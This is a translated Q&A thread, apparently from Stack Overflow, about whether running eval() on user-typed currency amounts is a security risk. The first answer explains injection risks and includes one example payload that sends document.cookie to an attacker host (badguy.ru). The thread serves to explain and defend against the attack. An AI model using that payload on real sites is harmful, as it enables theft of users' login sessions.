Javascript eval() 这么危险吗?

IT技术 javascript security eval
2021-03-15 01:59:00

可能的重复:
JavaScript 的 eval() 什么时候不是邪恶的?

我正在编写一个脚本,用户必须在其中写入货币金额,一些示例可能是(用户输入 >> 转换为),以美元作为默认货币:

50       >> 50.0 USD
50.5     >> 50.5 USD
50+1 USD >> 51.0 USD
50 GBP   >> 50.0 GBP

我想让这尽可能顺利,因此我想使用 JavaScript(它是一个基于 PHP/MySql + JavaScript 的网络应用程序)。我想使用正则表达式来过滤输入,运行它eval()并返回它。

这是一个坏主意吗?我已经阅读了一些关于eval()成为安全问题的主题我只是不明白如何。用户无论如何都可以轻松运行 JavaScript?

请记住,我将在稍后阶段使用 PHP 验证所有输入服务器端。

2个回答

无论如何,最终用户都可以通过浏览器的开发人员控制台轻松执行任意 JavaScript,这是对的(我一直都这样做)。您需要担心的是攻击者会劫持您eval用于自己目的的功能。

原因eval通常被认为是危险的,因为不受信任的代码容易潜入。考虑一个允许您通过查询字符串指定输入的页面,其中输入框预先填充了查询字符串中的值。

攻击者可以传播包含窃取用户登录 cookie 的代码的链接:

/some/url?amount=var i=new Image();i.src='http://badguy.ru/x?' + document.cookie;

(显然需要正确的 URL 编码;这是为了说明。)

或者,当验证失败时,您的 PHP 脚本可能会将发布的数据回显到您的表单中。攻击者可以创建一个特制的表单,使用相同的 cookie 窃取代码发布到您的表单。

这些攻击中的每一种都可以通过使用httpOnlycookie(以防止被盗登录 cookie)或确保数据经过清理来减轻- 但关键是这甚至与事情可能出错的详尽列表相去甚远。例如,注入的脚本仍然可以在金额字段中插入 1000 并尝试将该金额转入攻击者的帐户(如果这是汇款页面)。

即使考虑到您使用正则表达式来清理输入的事实也不一定能保护您:完全可以用括号编写任意 JavaScript

所以最重要的是,如果你能绝对确保输入进入你的文本字段的唯一方式是通过用户输入,你就没事:用户没有获得任何他们无法做到的事情通过控制台。但是,如果攻击者可以以某种方式将他们自己的数据带入该字段,eval则可能会使您暴露在漏洞中。

也可以看看:

您可以使用 Function 来限制 eval 工作的环境,并且在 Python 和 Ruby 中,您可以给它一个环境的哈希值,并将其限制为仅更改那些变量。
2021-04-26 01:59:00

如果您需要它,请使用它。

这是一个很好的链接,它讨论了安全性……以及对“eval()”的其他常见反对意见:

安全呢?如果您的软件为 eval 提供参数,那么在这方面就没什么可担心的。当然,评估输入框的值是不明智的,但是对由您自己的服务器代码生成的响应运行 eval 应该不会带来特殊风险。还要记住,潜在的攻击者可以使用客户端 eval 造成的任何损害,他们无法使用现代浏览器控制台更轻松地实现。

恕我直言 ...

最后一部分很重要:“......潜在的攻击者可以使用客户端 eval 造成的损害,他们无法通过现代浏览器控制台轻松实现。”
2021-04-20 01:59:00
不,你真的不应该需要它“运行你自己的服务器生成的响应
2021-05-04 01:59:00
“如果你需要它,就用它。” 你是广义上的意思吗?我不能完全同意
2021-05-12 01:59:00